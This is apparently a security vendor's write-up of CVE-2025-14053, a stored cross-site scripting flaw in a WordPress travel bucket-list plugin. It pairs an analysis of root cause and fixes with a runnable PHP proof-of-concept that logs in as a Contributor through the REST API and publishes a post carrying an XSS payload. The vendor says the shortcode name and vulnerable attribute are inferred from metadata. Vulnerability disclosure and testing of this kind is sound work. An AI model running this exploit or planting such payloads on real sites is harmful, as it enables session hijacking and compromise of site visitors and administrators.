Atomic Edge analysis of CVE-2025-14053 (metadata-based):
This vulnerability is an authenticated Stored Cross-Site Scripting (XSS) flaw in the Wish To Go (Travel Bucket List) WordPress plugin. Attackers with Contributor-level or higher permissions can inject malicious scripts into website pages via shortcode attributes. The injected scripts execute in the browser of any user viewing the compromised page.
Atomic Edge research infers the root cause is insufficient input sanitization and output escaping for user-supplied shortcode attributes. The plugin likely registers a custom shortcode, such as `[wish-to-go]`, with attributes that accept user input. The plugin’s shortcode handler fails to properly sanitize attribute values before storing them in the database and fails to escape them when rendering the shortcode output on the front end. This conclusion is based on the CWE-79 classification and the vulnerability description referencing shortcode attributes.
Exploitation requires an authenticated user with at least Contributor-level access. The attacker would create or edit a post or page, inserting the plugin’s shortcode with malicious JavaScript payloads within its attributes. For example, an attacker could craft a shortcode like `[wish-to-go id=”1″ onmouseover=”alert(document.cookie)”]`. Upon saving the post, the payload is stored. The script executes when any visitor, including administrators, views the page containing the shortcode, triggering the malicious JavaScript.
Remediation requires implementing proper security functions for both input and output. The plugin must validate and sanitize all user-supplied shortcode attribute values using functions like `sanitize_text_field()` before storing them. More critically, the plugin must escape all attribute values upon output using functions like `esc_attr()` within the shortcode callback before they are printed into HTML attributes. A comprehensive fix would also involve implementing capability checks and nonce verification for any administrative interfaces that process shortcode data.
The impact of successful exploitation is client-side code execution in the context of the vulnerable site. An attacker can steal session cookies, perform actions on behalf of authenticated users, deface pages, or redirect users to malicious sites. The CVSS vector indicates a Scope change (S:C), meaning the vulnerability can affect components beyond the plugin’s security scope, potentially compromising other user sessions and site integrity.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-14053 - Travel Bucket List <= 0.5.2 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode Attributes
<?php
/**
* Proof of Concept for CVE-2025-14053.
* Assumptions:
* 1. The plugin registers a shortcode, likely named 'wish-to-go' or similar.
* 2. The shortcode accepts attributes which are vulnerable to XSS.
* 3. The attacker has Contributor-level credentials (can edit posts).
* This script simulates an authenticated POST request to create a post containing a malicious shortcode.
*/
$target_url = 'http://example.com/wp-json/wp/v2/posts';
$username = 'contributor_user';
$password = 'contributor_pass';
// Malicious shortcode payload. The 'title' attribute is a common vector.
// The payload uses a JavaScript event handler to demonstrate XSS.
$malicious_shortcode = '[wish-to-go title="<img src=x onerror=alert(`XSS: ${document.domain}`)>"]';
$post_data = array(
'title' => 'Test Post with Exploit',
'content' => $malicious_shortcode . ' This post contains an exploited shortcode.',
'status' => 'publish'
);
// Authenticate via the WordPress REST API to obtain a nonce/token.
// In a real scenario, a Contributor would use the standard admin interface.
// This PoC uses the REST API for demonstration, assuming the plugin's shortcode is processed in post content.
$auth_url = 'http://example.com/wp-json/jwt-auth/v1/token';
$auth_data = array('username' => $username, 'password' => $password);
$ch = curl_init($auth_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($auth_data));
curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type: application/json'));
$auth_response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($http_code != 200) {
echo "Authentication failed. Ensure JWT Authentication is enabled or adjust auth method.n";
exit;
}
$auth_json = json_decode($auth_response, true);
$token = $auth_json['token'] ?? '';
if (empty($token)) {
echo "Could not retrieve authentication token.n";
exit;
}
// Create the post with the malicious shortcode.
$ch = curl_init($target_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($post_data));
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
'Content-Type: application/json',
'Authorization: Bearer ' . $token
));
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($http_code == 201) {
echo "Post created successfully. Visit the post to trigger the XSS payload.n";
} else {
echo "Post creation failed. HTTP Code: $http_coden";
echo "Response: $responsen";
}
?>
